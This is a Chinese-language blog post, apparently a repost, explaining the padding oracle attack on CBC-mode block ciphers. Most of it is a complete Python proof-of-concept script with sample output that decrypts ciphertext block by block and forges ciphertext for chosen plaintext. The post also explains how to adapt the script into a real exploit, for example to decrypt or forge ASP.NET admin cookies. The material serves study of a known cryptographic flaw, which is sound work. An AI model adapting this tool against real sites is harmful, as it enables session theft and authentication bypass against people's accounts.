• Padding Oracle Attack的一些细节与实现


    Padding Oracle Attack还是颇具威力的,ASP.NET的Padding Oracle Attack被Pwnie评为2010年最佳服务端漏洞之一。还是看 Juliano Rizzo and Thai Duong 的相关Paper。

        另外就是padbuster这个工具也是针对padding oracle的自动化实现,而且作者写的文章也是阐述padding oracle攻击原理最好的一篇。云舒还根据此篇文章写了个学习笔记,英文不好的同学可以看看看看云舒的中文版。因为前人已经写得很好了,我在此就不深入讲padding oracle的原理了,而是讲讲一些实现方面的细节。

        但padbuster这个工具在我看来并不好使,它与网络耦合太紧密了,为此我自己实现了一个padding oracle的自动化工具。自己实现一遍果然是加深理解的最好方法。在现实攻击中,只需要看懂了我的代码,并在适当的地方做些定制化的修改即可写出exploit,此举也可过滤掉一些scriptkids。连续花了三天,奋战数个小时,终于完成了这份POC代码,想算法死了不少脑细胞。写得过程中完全没有参考padbuster的code,纯粹是依据自己对padding oracle的理解而写成。另外因为工作环境的原因,我的注释是用英文写的。

    Padding Oracle Attack能做什么?

        padding oracle针对的是加密算法中的CBC Mode,当加密算法使用CBC Mode时,如果满足攻击条件,那么利用Padding Oracle能够在不知道密钥的情况下,解密任意密文,或者构造出任意明文的合法密文

        如果你不能理解这句话的话,那么想想ASP.NET 的padding oracle攻击,能够使得攻击者完全解密网站的Cookie,或者是构造一个admin的Cookie,只要你知道Cookie明文的格式。

        需要注意的是,padding oracle针对的是CBC模式,而不是某一个加密算法,所以任何分组加密算法,只要使用了CBC模式,都会受到影响。此类加密算法包括AES、DES、3-DES、Blowfish。。。。。。

    Padding Oracle Attack的条件

        但padding oracle不是没有任何限制的,否则世界就乱套了。padding oracle attack的达成条件是

    1. 攻击者能够获得密文(ciphertext),以及密文对应的IV(初始化向量)

    2. 攻击者能够触发密文的解密过程,且能够知道密文的解密结果

        对于第一点,密文是我们攻击的目标,从cookie、敏感数据等很多地方自然可以获得。

        密码学里的IV,并没有保密性的要求,所以对于使用CBC-MODE的加密算法来说,IV经常会随着密文一起发送。常见的做法是将IV作为一个前缀,附着在密文的前面。对于CBC-MODE来说,IV的长度必须与分组的长度相等。

        在实施攻击准备时,如果能够获知目标使用的加密算法,就能大大简化工作。所以这里插一些很有用的“题外话”,不感兴趣的朋友可以直接跳过此部分。

    =============================================================  

    通过密文猜测加密算法的思路

        在现实攻击中,遇到一堆看了就眼花的密文通常有着无处下手的感觉?也许下面我讲的这些思路能帮到你。

        首先,要知道在一般的互联网应用中,要使用加密算法,有着各种各样的限制。

        一个是性能的限制,使用性能不好的加密算法,甚至是增加key的长度,都可能会使得性能以几何级数下降,这是架构师所无法忍受的事情。

        二是实现加密算法的第三方库,一般来说只有一些流行加密算法有着比较稳定的第三方函数库。

        综合这些因素,在一般的互联网应用中,对称加密算法的使用离不开这么几种算法:

            1.stream cipher(RC4、XOR之流)

            2.分组加密算法中的DES、3-DES、AES、Blowfish等,且因为性能的问题,模式选择可能大多数是 ECB、CBC,因为CFB模式等可能导致性能消耗增加若干倍,是架构师所不愿意看到的事情。

            3. 程序员自己实现的一些野鸡算法(这种是最挫的,任何一本讲应用密码学的书应该都写了一条原则:不要自己实现加密算法)。

        其次,几种常见的加密算法还有一个特征,就是密文的长度。对于stream cipher来说,明文的长度和密文的长度是一样的,密文的长度是没有规律的,所以如果看到了奇数字节的密文,若不是密文还附加了别的东西,就几乎可以断定是stream cipher了。

        而分组加密算法的block size和key size都是固定的,见下表:

        因此我们拿到了密文后,可以通过对长度的判断,来猜测它用的是什么加密算法。

        比如 AES 的密文,必然是16的整数倍长度,DES、3-DES等则是8的整数倍。

        加密算法加密后产生的密文,很多是不可见字符,因此在实际应用中,一般会使用编码的形式将密文编码起来。常见的有两种编码方式

        一种是base64:

           7BXXmAWWXzHDJPHvw6ybqx+RIQxwDCJP.......

        一种是将密文字符的16进制转化为ascii码,比如:

            907EA2E95B5A832B6EC8D5C2757C3866A202CDC7231AF5669CBD762F1B7F8A0F  (64字节)

            可能原本的密文是:

            x90x7ExA2xE9x5Bx5A......

            所以这段密文的实际长度,应该是 64/2 = 32  字节。如果按照8字节(64 bit)分组,就是:

            907EA2E95B5A832B

            6EC8D5C2757C3866

            A202CDC7231AF566

            9CBD762F1B7F8A0F

            其中第一组很可能是IV,也可能不是,因为服务端可能没有把IV附带在密文中。

            如果服务端没有将IV附带在密文中,则IV的状态需要在服务端维护(或者写死在配置中),这种情况只适用于类似cookie这种情景,密文由服务端加密生成,又由服务端自己来解密,才能解得开。如果需要用到跨系统的调用,不附带IV,接收密文的一方即便有密钥,也是解不开密文的。

            如果按照16字节(128bit)分组,则有可能是AES加密算法:

            907EA2E95B5A832B6EC8D5C2757C3866

            A202CDC7231AF5669CBD762F1B7F8A0F        

        

        最后,如果在知道明文的情况下,还可以通过改变明文的字节,来查看密文的变化。看是变动了几个字节,分组之间又有何关联,从而推断出密文使用的加密算法或是加密时选择的模式。关于这种技巧,推荐一篇文章,在此不深入讨论。 

    =============================================================  

        padding oracle attack的第二个条件,也是最关键的一个,是能够触发解密过程,且能够知道密文的解密结果。这是最为关键的一个条件。因为加密算法的加解密必须遵循一定的padding原则,如果padding不正确,则解密就可能不会成功。padding oracle attack就是通过验证解密时产生的明文是否符合padding的原则,来判断解密是否成功的

        padding的规则有很多种,在padding oracle attack中,使用的padding规则是 PKCS#5,它填充的每个字节值即为需要填充的字节数,即:

        一般来说,解密时如果发现解密出来明文的padding不正确,解密函数可能会抛出一个异常;

        如果解密出来明文的padding正确,则解密过程顺利完成。但在具体应用中,根据padding oracle解密出来的明文必然不是应用程序原本想要获得的结果,因此有可能出现一个业务上的自定义错误;

        padding oracle attack正是利用了这两个错误之间的差异,来验证padding是否正确。所以能够验证解密后的结果,是padding oracle实施的必要条件。

        在padbuster作者的文章中,他是通过服务端返回错误来验证的。如果服务端解密时发现padding错误,会抛出一个 500的错误:

         而当服务端解密padding正确时,但解密出来的明文不符合业务期待,因此会抛一个200的自定义错误页面:

        利用者两者间的差异,即可验证padding是否正确。

     自动化实现Padding Oracle Attack

        了解了padding oracle的原理和条件后,就可以实现我们的padding oracle代码了。因为padding oracle的第二个条件,其本质是确认解密后的明文,是否满足PKCS#5的padding规则,因此在POC中,我写了一个函数验证明文的PKCS#5 padding是否正确。

        我使用的python加密算法库(),在padding不正确时也根本没有抛出异常。但我们通过对解密后明文的验证,同样能够完成padding oracle攻击。

        解密函数的触发,也是直接调用了加密算法函数进行的解密,但这并不影响我们POC padding oracle的过程。

        如要改写为实际攻击可用的exploit,这两个部分是需要根据环境自己修改的。

        在具体实施解密过程时,是一个block一个block去操作的。

        Padding Oracle 还可以实现任意自定义明文的加密,返回可以解密成此明文的密文和IV。其原理主要是获取解密过程中的一个临时中间值。如果有多个block时,需要从最后一个block开始推导。

        不断的从后往前推导出新的IV,也就推导出了我们想要的密文和最终需要的IV。


        代码如下:


     

        最终的运行效果:

        使用以下测试数据:

      ########################################

      # you may config this part by yourself

      iv = '12345678'   ===》 iv,随便自定义一个,需要和block size一样大小,我们需要这个值

      plain = 'aaaaaaaaaaaaaaaaX'  ===》 原本的明文,17字节,因为padding后可以分成3组

      plain_want = "opaas"     ===》希望通过padding oracle,得到解密为此明文的密文

      # you can choose cipher: blowfish/AES/DES/DES3/CAST/ARC2

      cipher = "blowfish"    ===》 加密算法选择

      ########################################

        输出:

    [root@vps tmp]#python padding_oracle.py 

    === Padding Oracle Attack POC(CBC-MODE) ===

    === by axis ===

    === axis@ph4nt0m.org ===

    === 2011.9 ===

    === Generate Target Ciphertext ===

    [+] plaintext is: aaaaaaaaaaaaaaaaX

    [+] iv is: x31x32x33x34x35x36x37x38

    [+] ciphertext is: xd7xe6x5dxc9xd7xbbx49xecx61xe2x67x7ex1bxbax33x85x34xfcxcdxe4x9fxaaxe9x72

    === Start Padding Oracle Decrypt ===

    [+] Choosing Cipher: BLOWFISH

    [*] Now try to decrypt block 0

    [*] Block 0's ciphertext is: xd7xe6x5dxc9xd7xbbx49xec

    [*] Try IV: x00x00x00x00x00x00x00x58

    [*] Found padding oracle: x50x53x52x55x54x57x56x01

    [*] Try IV: x00x00x00x00x00x00x54x5b

    [*] Found padding oracle: x50x53x52x55x54x57x02x02

    [*] Try IV: x00x00x00x00x00x54x55x5a

    [*] Found padding oracle: x50x53x52x55x54x03x03x03

    [*] Try IV: x00x00x00x00x50x53x52x5d

    [*] Found padding oracle: x50x53x52x55x04x04x04x04

    [*] Try IV: x00x00x00x50x51x52x53x5c

    [*] Found padding oracle: x50x53x52x05x05x05x05x05

    [*] Try IV: x00x00x54x53x52x51x50x5f

    [*] Found padding oracle: x50x53x06x06x06x06x06x06

    [*] Try IV: x00x54x55x52x53x50x51x5e

    [*] Found padding oracle: x50x07x07x07x07x07x07x07

    [*] Try IV: x58x5bx5ax5dx5cx5fx5ex51

    [*] Found padding oracle: x08x08x08x08x08x08x08x08

    [+] Block 0 decrypt!

    [+] intermediary value is: x50x53x52x55x54x57x56x59

    [+] The plaintext of block 0 is: aaaaaaaa

    [*] Now try to decrypt block 1

    [*] Block 1's ciphertext is: x61xe2x67x7ex1bxbax33x85

    [*] Try IV: x00x00x00x00x00x00x00x8c

    [*] Found padding oracle: xb6x87x3cxa8xb6xdax28x01

    [*] Try IV: x00x00x00x00x00x00x2ax8f

    [*] Found padding oracle: xb6x87x3cxa8xb6xdax02x02

    [*] Try IV: x00x00x00x00x00xd9x2bx8e

    [*] Found padding oracle: xb6x87x3cxa8xb6x03x03x03

    [*] Try IV: x00x00x00x00xb2xdex2cx89

    [*] Found padding oracle: xb6x87x3cxa8x04x04x04x04

    [*] Try IV: x00x00x00xadxb3xdfx2dx88

    [*] Found padding oracle: xb6x87x3cx05x05x05x05x05

    [*] Try IV: x00x00x3axaexb0xdcx2ex8b

    [*] Found padding oracle: xb6x87x06x06x06x06x06x06

    [*] Try IV: x00x80x3bxafxb1xddx2fx8a

    [*] Found padding oracle: xb6x07x07x07x07x07x07x07

    [*] Try IV: xbex8fx34xa0xbexd2x20x85

    [*] Found padding oracle: x08x08x08x08x08x08x08x08

    [+] Block 1 decrypt!

    [+] intermediary value is: xb6x87x3cxa8xb6xdax28x8d

    [+] The plaintext of block 1 is: aaaaaaaa

    [*] Now try to decrypt block 2

    [*] Block 2's ciphertext is: x34xfcxcdxe4x9fxaaxe9x72

    [*] Try IV: x00x00x00x00x00x00x00x83

    [*] Found padding oracle: x39xe5x60x79x1cxbdx34x01

    [*] Try IV: x00x00x00x00x00x00x36x80

    [*] Found padding oracle: x39xe5x60x79x1cxbdx02x02

    [*] Try IV: x00x00x00x00x00xbex37x81

    [*] Found padding oracle: x39xe5x60x79x1cx03x03x03

    [*] Try IV: x00x00x00x00x18xb9x30x86

    [*] Found padding oracle: x39xe5x60x79x04x04x04x04

    [*] Try IV: x00x00x00x7cx19xb8x31x87

    [*] Found padding oracle: x39xe5x60x05x05x05x05x05

    [*] Try IV: x00x00x66x7fx1axbbx32x84

    [*] Found padding oracle: x39xe5x06x06x06x06x06x06

    [*] Try IV: x00xe2x67x7ex1bxbax33x85

    [*] Found padding oracle: x39x07x07x07x07x07x07x07

    [*] Try IV: x31xedx68x71x14xb5x3cx8a

    [*] Found padding oracle: x08x08x08x08x08x08x08x08

    [+] Block 2 decrypt!

    [+] intermediary value is: x39xe5x60x79x1cxbdx34x82

    [+] The plaintext of block 2 is: X

    [+] Guess intermediary value is: x50x53x52x55x54x57x56x59xb6x87x3cxa8xb6xdax28x8dx39xe5x60x79x1cxbdx34x82

    [+] plaintext = intermediary_value XOR original_IV

    [+] Guess plaintext is: aaaaaaaaaaaaaaaaX

    === Start Padding Oracle Encrypt ===

    [+] plaintext want to encrypt is: opaas

    [+] Choosing Cipher: BLOWFISH

    [*] After padding, plaintext becomes to: x6fx70x61x61x73x03x03x03

    [+] Encrypt Success!

    [+] The ciphertext you want is: x34xfcxcdxe4x9fxaaxe9x72

    [+] IV is: x56x95x01x18x6fxbex37x81

    === Let's verify the custom encrypt result ===

    [+] Decrypt of ciphertext 'x34xfcxcdxe4x9fxaaxe9x72' is:

    opaas

    [+] Bingo!

    [root@vps tmp]#

       

     padding_oracle.py的源代码:

    """

        Padding Oracle Attack POC(CBC-MODE)

        Author: axis(axis@ph4nt0m.org)

        http://hi.baidu.com/aullik5

        2011.9

        This program is based on Juliano Rizzo and Thai Duong's talk on 

        Practical Padding Oracle Attack.(http://netifera.com/research/)

        For Education Purpose Only!!!

        This program is free software: you can redistribute it and/or modify

        it under the terms of the GNU General Public License as published by

        the Free Software Foundation, either version 3 of the License, or

        (at your option) any later version.

        This program is distributed in the hope that it will be useful,

        but WITHOUT ANY WARRANTY; without even the implied warranty of

        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the

        GNU General Public License for more details.

        You should have received a copy of the GNU General Public License

        along with this program.  If not, see <http://www.gnu.org/licenses/>.

    """

    import sys

    # https://www.dlitz.net/software/pycrypto/

    from Crypto.Cipher import *

    import binascii

    # the key for encrypt/decrypt

    # we demo the poc here, so we need the key

    # in real attack, you can trigger encrypt/decrypt in a complete blackbox env

    ENCKEY = 'abcdefgh'

    def main(args):

      print 

      print "=== Padding Oracle Attack POC(CBC-MODE) ==="

      print "=== by axis ==="

      print "=== axis@ph4nt0m.org ==="

      print "=== 2011.9 ==="

      print 

      ########################################

      # you may config this part by yourself

      iv = '12345678'

      plain = 'aaaaaaaaaaaaaaaaX'

      plain_want = "opaas"

      # you can choose cipher: blowfish/AES/DES/DES3/CAST/ARC2 

      cipher = "blowfish"

      ########################################

      block_size = 8

      if cipher.lower() == "aes":

        block_size = 16

      if len(iv) != block_size:

        print "[-] IV must be "+str(block_size)+" bytes long(the same as block_size)!"

        return False

      print "=== Generate Target Ciphertext ==="

      ciphertext = encrypt(plain, iv, cipher)

      if not ciphertext:

        print "[-] Encrypt Error!"

        return False

      print "[+] plaintext is: "+plain

      print "[+] iv is: "+hex_s(iv)

      print "[+] ciphertext is: "+ hex_s(ciphertext)

      print

      print "=== Start Padding Oracle Decrypt ==="

      print

      print "[+] Choosing Cipher: "+cipher.upper()

      guess = padding_oracle_decrypt(cipher, ciphertext, iv, block_size)

      if guess:

        print "[+] Guess intermediary value is: "+hex_s(guess["intermediary"])

        print "[+] plaintext = intermediary_value XOR original_IV"

        print "[+] Guess plaintext is: "+guess["plaintext"]

        print

        if plain_want:

          print "=== Start Padding Oracle Encrypt ==="

          print "[+] plaintext want to encrypt is: "+plain_want

          print "[+] Choosing Cipher: "+cipher.upper()

          en = padding_oracle_encrypt(cipher, ciphertext, plain_want, iv, block_size)

          if en:

            print "[+] Encrypt Success!"

            print "[+] The ciphertext you want is: "+hex_s(en[block_size:])

            print "[+] IV is: "+hex_s(en[:block_size])

            print

           

            print "=== Let's verify the custom encrypt result ==="

            print "[+] Decrypt of ciphertext '"+ hex_s(en[block_size:]) +"' is:"

            de = decrypt(en[block_size:], en[:block_size], cipher)

            if de == add_PKCS5_padding(plain_want, block_size):

              print de

              print "[+] Bingo!"

            else:

              print "[-] It seems something wrong happened!"

              return False

        return True

      else:

        return False

    def padding_oracle_encrypt(cipher, ciphertext, plaintext, iv, block_size=8):

      # the last block

      guess_cipher = ciphertext[0-block_size:] 

      plaintext = add_PKCS5_padding(plaintext, block_size)

      print "[*] After padding, plaintext becomes to: "+hex_s(plaintext)

      print

      block = len(plaintext)

      iv_nouse = iv # no use here, in fact we only need intermediary

      prev_cipher = ciphertext[0-block_size:] # init with the last cipher block

      while block > 0:

        # we need the intermediary value

        tmp = padding_oracle_decrypt_block(cipher, prev_cipher, iv_nouse, block_size, debug=False)

        # calculate the iv, the iv is the ciphertext of the previous block

        prev_cipher = xor_str( plaintext[block-block_size:block], tmp["intermediary"] )

        #save result

        guess_cipher = prev_cipher + guess_cipher

        block = block - block_size

      return guess_cipher  

    def padding_oracle_decrypt(cipher, ciphertext, iv, block_size=8, debug=True):

      # split cipher into blocks; we will manipulate ciphertext block by block

      cipher_block = split_cipher_block(ciphertext, block_size)

      if cipher_block:

        result = {}

        result["intermediary"] = ''

        result["plaintext"] = ''

        counter = 0

        for c in cipher_block:

          if debug:

            print "[*] Now try to decrypt block "+str(counter)

            print "[*] Block "+str(counter)+"'s ciphertext is: "+hex_s(c)

            print

          # padding oracle to each block

          guess = padding_oracle_decrypt_block(cipher, c, iv, block_size, debug)

          if guess:

            iv = c

            result["intermediary"] += guess["intermediary"]

            result["plaintext"] += guess["plaintext"]

            if debug:

              print

              print "[+] Block "+str(counter)+" decrypt!"

              print "[+] intermediary value is: "+hex_s(guess["intermediary"])

              print "[+] The plaintext of block "+str(counter)+" is: "+guess["plaintext"]

              print

            counter = counter+1

          else:

            print "[-] padding oracle decrypt error!"

            return False

        return result

      else:

        print "[-] ciphertext's block_size is incorrect!"    

        return False

    def padding_oracle_decrypt_block(cipher, ciphertext, iv, block_size=8, debug=True):

      result = {}

      plain = ''

      intermediary = []  # list to save intermediary

      iv_p = [] # list to save the iv we found

      for i in range(1, block_size+1):

        iv_try = []

        iv_p = change_iv(iv_p, intermediary, i)

        # construct iv

        # iv = x00...(several 0 bytes) + x0e(the bruteforce byte) + xdc...(the iv bytes we found)

        for k in range(0, block_size-i):

          iv_try.append("x00")

        # bruteforce iv byte for padding oracle

        # 1 bytes to bruteforce, then append the rest bytes

        iv_try.append("x00")

        for b in range(0,256):

          iv_tmp = iv_try

          iv_tmp[len(iv_tmp)-1] = chr(b)

        

          iv_tmp_s = ''.join("%s" % ch for ch in iv_tmp)

          # append the result of iv, we've just calculate it, saved in iv_p

          for p in range(0,len(iv_p)):

            iv_tmp_s += iv_p[len(iv_p)-1-p]

          

          # in real attack, you have to replace this part to trigger the decrypt program

          #print hex_s(iv_tmp_s) # for debug

          plain = decrypt(ciphertext, iv_tmp_s, cipher)

          #print hex_s(plain) # for debug

          # got it!

          # in real attack, you have to replace this part to the padding error judgement

          if check_PKCS5_padding(plain, i):

            if debug:

              print "[*] Try IV: "+hex_s(iv_tmp_s)

              print "[*] Found padding oracle: " + hex_s(plain)

            iv_p.append(chr(b))

            intermediary.append(chr(b ^ i))

            

            break

      plain = ''

      for ch in range(0, len(intermediary)):

        plain += chr( ord(intermediary[len(intermediary)-1-ch]) ^ ord(iv[ch]) )

        

      result["plaintext"] = plain

      result["intermediary"] = ''.join("%s" % ch for ch in intermediary)[::-1]

      return result

    # save the iv bytes found by padding oracle into a list

    def change_iv(iv_p, intermediary, p):

      for i in range(0, len(iv_p)):

        iv_p[i] = chr( ord(intermediary[i]) ^ p)

      return iv_p  

    def split_cipher_block(ciphertext, block_size=8):

      if len(ciphertext) % block_size != 0:

        return False

      result = []

      length = 0

      while length < len(ciphertext):

        result.append(ciphertext[length:length+block_size])

        length += block_size

      return result

    def check_PKCS5_padding(plain, p):

      if len(plain) % 8 != 0:

        return False

      # convert the string

      plain = plain[::-1]

      ch = 0

      found = 0

      while ch < p:

        if plain[ch] == chr(p):

          found += 1

        ch += 1 

      if found == p:

        return True

      else:

        return False

    def add_PKCS5_padding(plaintext, block_size):

      s = ''

      if len(plaintext) % block_size == 0:

        return plaintext

      if len(plaintext) < block_size:

        padding = block_size - len(plaintext)

      else:

        padding = block_size - (len(plaintext) % block_size)

      

      for i in range(0, padding):

        plaintext += chr(padding)

      return plaintext

    def decrypt(ciphertext, iv, cipher):

      # we only need the padding error itself, not the key

      # you may gain padding error info in other ways

      # in real attack, you may trigger decrypt program

      # a complete blackbox environment

      key = ENCKEY

      if cipher.lower() == "des":

        o = DES.new(key, DES.MODE_CBC,iv)

      elif cipher.lower() == "aes":

        o = AES.new(key, AES.MODE_CBC,iv)

      elif cipher.lower() == "des3":

        o = DES3.new(key, DES3.MODE_CBC,iv)

      elif cipher.lower() == "blowfish":

        o = Blowfish.new(key, Blowfish.MODE_CBC,iv)

      elif cipher.lower() == "cast":

        o = CAST.new(key, CAST.MODE_CBC,iv)

      elif cipher.lower() == "arc2":

        o = ARC2.new(key, ARC2.MODE_CBC,iv)

      else:

        return False

      if len(iv) % 8 != 0:

        return False

      if len(ciphertext) % 8 != 0:

        return False

      return o.decrypt(ciphertext)

    def encrypt(plaintext, iv, cipher):

      key = ENCKEY

      if cipher.lower() == "des":

        if len(key) != 8:

          print "[-] DES key must be 8 bytes long!"

          return False

        o = DES.new(key, DES.MODE_CBC,iv)

      elif cipher.lower() == "aes":

        if len(key) != 16 and len(key) != 24 and len(key) != 32:

          print "[-] AES key must be 16/24/32 bytes long!"

          return False

        o = AES.new(key, AES.MODE_CBC,iv)

      elif cipher.lower() == "des3":

        if len(key) != 16:

          print "[-] Triple DES key must be 16 bytes long!"

          return False

        o = DES3.new(key, DES3.MODE_CBC,iv)

      elif cipher.lower() == "blowfish":

        o = Blowfish.new(key, Blowfish.MODE_CBC,iv)

      elif cipher.lower() == "cast":

        o = CAST.new(key, CAST.MODE_CBC,iv)

      elif cipher.lower() == "arc2":

        o = ARC2.new(key, ARC2.MODE_CBC,iv)

      else:

        return False

      plaintext = add_PKCS5_padding(plaintext, len(iv))  

      return o.encrypt(plaintext)

    def xor_str(a,b):

      if len(a) != len(b):

        return False

      c = ''

      for i in range(0, len(a)):

        c += chr( ord(a[i]) ^ ord(b[i]) )

      return c

    def hex_s(str):

      re = ''

      for i in range(0,len(str)):

        re += "\x"+binascii.b2a_hex(str[i])

      return re

    if __name__ == "__main__":

            main(sys.argv)

     摘自:大风起兮云飞扬

  • 相关阅读:
    最新国家标准下载(2020-7-31)
    SL/T 264-2020 水利水电工程岩石试验规程
    SH/T 3082-2019 石油化工仪表供电设计规范
    GB/T 4780-2020 汽车车身术语
    Java——冒泡排序
    JSP处理XML数据
    JSP标准标签库(JSTL)
    千锤百炼软工第十九天
    千锤百炼软工第十八天
    千锤百炼软工第十七天
  • 原文地址:https://www.cnblogs.com/zlhff/p/5519175.html
Copyright © 2020-2023  润新知